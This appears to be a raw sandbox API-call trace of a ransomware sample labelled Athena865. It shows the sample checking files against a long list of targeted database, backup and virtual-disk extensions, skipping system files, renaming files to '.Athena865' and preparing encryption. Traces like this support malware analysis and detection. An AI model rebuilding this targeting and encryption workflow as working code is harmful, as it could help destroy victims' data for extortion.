lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.246] lstrlenW (lpString="nrmlib") returned 6 [0138.246] lstrcmpiW (lpString1="84.WMF", lpString2="nrmlib") returned -1 [0138.246] lstrlenW (lpString="ns2") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.246] lstrlenW (lpString="ns3") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.246] lstrlenW (lpString="ns4") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.247] lstrlenW (lpString="nsf") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.247] lstrlenW (lpString="nv") returned 2 [0138.247] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.247] lstrlenW (lpString="nv2") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.247] lstrlenW (lpString="nwdb") returned 4 [0138.247] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.247] lstrlenW (lpString="nyf") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.247] lstrlenW (lpString="odb") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.247] lstrlenW (lpString="odb") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.247] lstrlenW (lpString="oqy") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.247] lstrlenW (lpString="ora") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.247] lstrlenW (lpString="orx") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.247] lstrlenW (lpString="owc") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.247] lstrlenW (lpString="p96") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.247] lstrlenW (lpString="p97") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.247] lstrlenW (lpString="pan") returned 3 [0138.247] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.248] lstrlenW (lpString="pdb") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.248] lstrlenW (lpString="pdm") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.248] lstrlenW (lpString="pnz") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.248] lstrlenW (lpString="qry") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.248] lstrlenW (lpString="qvd") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.248] lstrlenW (lpString="rbf") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.248] lstrlenW (lpString="rctd") returned 4 [0138.248] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.248] lstrlenW (lpString="rod") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.248] lstrlenW (lpString="rodx") returned 4 [0138.248] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.248] lstrlenW (lpString="rpd") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.248] lstrlenW (lpString="rsd") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.248] lstrlenW (lpString="sas7bdat") returned 8 [0138.248] lstrcmpiW (lpString1="5384.WMF", lpString2="sas7bdat") returned -1 [0138.248] lstrlenW (lpString="sbf") returned 3 [0138.248] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.248] lstrlenW (lpString="scx") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.249] lstrlenW (lpString="sdb") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.249] lstrlenW (lpString="sdc") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.249] lstrlenW (lpString="sdf") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.249] lstrlenW (lpString="sis") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.249] lstrlenW (lpString="spq") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.249] lstrlenW (lpString="te") returned 2 [0138.249] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.249] lstrlenW (lpString="teacher") returned 7 [0138.249] lstrcmpiW (lpString1="384.WMF", lpString2="teacher") returned -1 [0138.249] lstrlenW (lpString="tmd") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.249] lstrlenW (lpString="tps") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.249] lstrlenW (lpString="trc") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.249] lstrlenW (lpString="trc") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.249] lstrlenW (lpString="trm") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.249] lstrlenW (lpString="udb") returned 3 [0138.249] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.249] lstrlenW (lpString="udl") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.250] lstrlenW (lpString="usr") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.250] lstrlenW (lpString="v12") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.250] lstrlenW (lpString="vis") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.250] lstrlenW (lpString="vpd") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.250] lstrlenW (lpString="vvv") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.250] lstrlenW (lpString="wdb") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.250] lstrlenW (lpString="wmdb") returned 4 [0138.250] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.250] lstrlenW (lpString="wrk") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.250] lstrlenW (lpString="xdb") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.250] lstrlenW (lpString="xld") returned 3 [0138.250] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.250] lstrlenW (lpString="xmlff") returned 5 [0138.250] lstrcmpiW (lpString1="4.WMF", lpString2="xmlff") returned -1 [0138.250] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.Athena865") returned 71 [0138.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.athena865"), dwFlags=0x1) returned 1 [0138.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.258] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12762) returned 1 [0138.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.265] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.266] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.266] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.268] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e0, lpName=0x0) returned 0x154 [0138.270] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34e0) returned 0x100000 [0138.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.284] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.284] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.286] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.286] CloseHandle (hObject=0x154) returned 1 [0138.286] CloseHandle (hObject=0x17c) returned 1 [0138.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.286] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0138.286] lstrcmpiW (lpString1="J0195534.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.286] lstrcmpiW (lpString1="J0195534.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.286] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".") returned 1 [0138.286] lstrcmpiW (lpString1="J0195534.WMF", lpString2="..") returned 1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="windows") returned -1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="bootmgr") returned 1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="temp") returned -1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="pagefile.sys") returned -1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="boot") returned 1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ids.txt") returned 1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="ntuser.dat") returned -1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="perflogs") returned -1 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2="MSBuild") returned -1 [0138.287] lstrlenW (lpString="J0195534.WMF") returned 12 [0138.287] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0195534.WMF" | out: lpString1="J0195534.WMF") returned="J0195534.WMF" [0138.287] lstrlenW (lpString="J0195534.WMF") returned 12 [0138.287] lstrlenW (lpString="Athena865") returned 9 [0138.287] lstrcmpiW (lpString1="95534.WMF", lpString2="Athena865") returned -1 [0138.287] lstrlenW (lpString=".dll") returned 4 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".dll") returned 1 [0138.287] lstrlenW (lpString=".lnk") returned 4 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".lnk") returned 1 [0138.287] lstrlenW (lpString=".ini") returned 4 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".ini") returned 1 [0138.287] lstrlenW (lpString=".sys") returned 4 [0138.287] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".sys") returned 1 [0138.287] lstrlenW (lpString="J0195534.WMF") returned 12 [0138.287] lstrlenW (lpString="bak") returned 3 [0138.287] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.287] lstrlenW (lpString="ba_") returned 3 [0138.287] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.288] lstrlenW (lpString="dbb") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.288] lstrlenW (lpString="vmdk") returned 4 [0138.288] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.288] lstrlenW (lpString="rar") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.288] lstrlenW (lpString="zip") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.288] lstrlenW (lpString="tgz") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.288] lstrlenW (lpString="vbox") returned 4 [0138.288] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.288] lstrlenW (lpString="vdi") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.288] lstrlenW (lpString="vhd") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.288] lstrlenW (lpString="vhdx") returned 4 [0138.288] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.288] lstrlenW (lpString="avhd") returned 4 [0138.288] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.288] lstrlenW (lpString="db") returned 2 [0138.288] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.288] lstrlenW (lpString="db2") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.288] lstrlenW (lpString="db3") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.288] lstrlenW (lpString="dbf") returned 3 [0138.288] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.288] lstrlenW (lpString="mdf") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.289] lstrlenW (lpString="mdb") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.289] lstrlenW (lpString="sql") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.289] lstrlenW (lpString="sqlite") returned 6 [0138.289] lstrcmpiW (lpString1="34.WMF", lpString2="sqlite") returned -1 [0138.289] lstrlenW (lpString="sqlite3") returned 7 [0138.289] lstrcmpiW (lpString1="534.WMF", lpString2="sqlite3") returned -1 [0138.289] lstrlenW (lpString="sqlitedb") returned 8 [0138.289] lstrcmpiW (lpString1="5534.WMF", lpString2="sqlitedb") returned -1 [0138.289] lstrlenW (lpString="xml") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.289] lstrlenW (lpString="$er") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.289] lstrlenW (lpString="4dd") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.289] lstrlenW (lpString="4dl") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.289] lstrlenW (lpString="^^^") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.289] lstrlenW (lpString="abs") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.289] lstrlenW (lpString="abx") returned 3 [0138.289] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.289] lstrlenW (lpString="accdb") returned 5 [0138.289] lstrcmpiW (lpString1="4.WMF", lpString2="accdb") returned -1 [0138.290] lstrlenW (lpString="accdc") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accdc") returned -1 [0138.290] lstrlenW (lpString="accde") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accde") returned -1 [0138.290] lstrlenW (lpString="accdr") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accdr") returned -1 [0138.290] lstrlenW (lpString="accdt") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accdt") returned -1 [0138.290] lstrlenW (lpString="accdw") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accdw") returned -1 [0138.290] lstrlenW (lpString="accft") returned 5 [0138.290] lstrcmpiW (lpString1="4.WMF", lpString2="accft") returned -1 [0138.290] lstrlenW (lpString="adb") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.290] lstrlenW (lpString="adb") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.290] lstrlenW (lpString="ade") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.290] lstrlenW (lpString="adf") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.290] lstrlenW (lpString="adn") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.290] lstrlenW (lpString="adp") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.290] lstrlenW (lpString="alf") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.290] lstrlenW (lpString="ask") returned 3 [0138.290] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.291] lstrlenW (lpString="btr") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.291] lstrlenW (lpString="cat") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.291] lstrlenW (lpString="cdb") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.291] lstrlenW (lpString="ckp") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.291] lstrlenW (lpString="cma") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.291] lstrlenW (lpString="cpd") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.291] lstrlenW (lpString="dacpac") returned 6 [0138.291] lstrcmpiW (lpString1="34.WMF", lpString2="dacpac") returned -1 [0138.291] lstrlenW (lpString="dad") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.291] lstrlenW (lpString="dadiagrams") returned 10 [0138.291] lstrcmpiW (lpString1="195534.WMF", lpString2="dadiagrams") returned -1 [0138.291] lstrlenW (lpString="daschema") returned 8 [0138.291] lstrcmpiW (lpString1="5534.WMF", lpString2="daschema") returned -1 [0138.291] lstrlenW (lpString="db-journal") returned 10 [0138.291] lstrcmpiW (lpString1="195534.WMF", lpString2="db-journal") returned -1 [0138.291] lstrlenW (lpString="db-shm") returned 6 [0138.291] lstrcmpiW (lpString1="34.WMF", lpString2="db-shm") returned -1 [0138.291] lstrlenW (lpString="db-wal") returned 6 [0138.291] lstrcmpiW (lpString1="34.WMF", lpString2="db-wal") returned -1 [0138.291] lstrlenW (lpString="dbc") returned 3 [0138.291] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.291] lstrlenW (lpString="dbs") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.292] lstrlenW (lpString="dbt") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.292] lstrlenW (lpString="dbv") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.292] lstrlenW (lpString="dbx") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.292] lstrlenW (lpString="dcb") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.292] lstrlenW (lpString="dct") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.292] lstrlenW (lpString="dcx") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.292] lstrlenW (lpString="ddl") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.292] lstrlenW (lpString="dlis") returned 4 [0138.292] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.292] lstrlenW (lpString="dp1") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.292] lstrlenW (lpString="dqy") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.292] lstrlenW (lpString="dsk") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.292] lstrlenW (lpString="dsn") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.292] lstrlenW (lpString="dtsx") returned 4 [0138.292] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.292] lstrlenW (lpString="dxl") returned 3 [0138.292] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.293] lstrlenW (lpString="eco") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.293] lstrlenW (lpString="ecx") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.293] lstrlenW (lpString="edb") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.293] lstrlenW (lpString="epim") returned 4 [0138.293] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.293] lstrlenW (lpString="fcd") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.293] lstrlenW (lpString="fdb") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.293] lstrlenW (lpString="fic") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.293] lstrlenW (lpString="flexolibrary") returned 12 [0138.293] lstrlenW (lpString="fm5") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.293] lstrlenW (lpString="fmp") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.293] lstrlenW (lpString="fmp12") returned 5 [0138.293] lstrcmpiW (lpString1="4.WMF", lpString2="fmp12") returned -1 [0138.293] lstrlenW (lpString="fmpsl") returned 5 [0138.293] lstrcmpiW (lpString1="4.WMF", lpString2="fmpsl") returned -1 [0138.293] lstrlenW (lpString="fol") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.293] lstrlenW (lpString="fp3") returned 3 [0138.293] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.293] lstrlenW (lpString="fp4") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.294] lstrlenW (lpString="fp5") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.294] lstrlenW (lpString="fp7") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.294] lstrlenW (lpString="fpt") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.294] lstrlenW (lpString="frm") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.294] lstrlenW (lpString="gdb") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.294] lstrlenW (lpString="gdb") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.294] lstrlenW (lpString="grdb") returned 4 [0138.294] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.294] lstrlenW (lpString="gwi") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.294] lstrlenW (lpString="hdb") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.294] lstrlenW (lpString="his") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.294] lstrlenW (lpString="ib") returned 2 [0138.294] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.294] lstrlenW (lpString="idb") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.294] lstrlenW (lpString="ihx") returned 3 [0138.294] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.294] lstrlenW (lpString="itdb") returned 4 [0138.295] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.295] lstrlenW (lpString="itw") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.295] lstrlenW (lpString="jet") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.295] lstrlenW (lpString="jtx") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.295] lstrlenW (lpString="kdb") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.295] lstrlenW (lpString="kexi") returned 4 [0138.295] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.295] lstrlenW (lpString="kexic") returned 5 [0138.295] lstrcmpiW (lpString1="4.WMF", lpString2="kexic") returned -1 [0138.295] lstrlenW (lpString="kexis") returned 5 [0138.295] lstrcmpiW (lpString1="4.WMF", lpString2="kexis") returned -1 [0138.295] lstrlenW (lpString="lgc") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.295] lstrlenW (lpString="lwx") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.295] lstrlenW (lpString="maf") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.295] lstrlenW (lpString="maq") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.295] lstrlenW (lpString="mar") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.295] lstrlenW (lpString="marshal") returned 7 [0138.295] lstrcmpiW (lpString1="534.WMF", lpString2="marshal") returned -1 [0138.295] lstrlenW (lpString="mas") returned 3 [0138.295] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.296] lstrlenW (lpString="mav") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.296] lstrlenW (lpString="maw") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.296] lstrlenW (lpString="mdbhtml") returned 7 [0138.296] lstrcmpiW (lpString1="534.WMF", lpString2="mdbhtml") returned -1 [0138.296] lstrlenW (lpString="mdn") returned 3 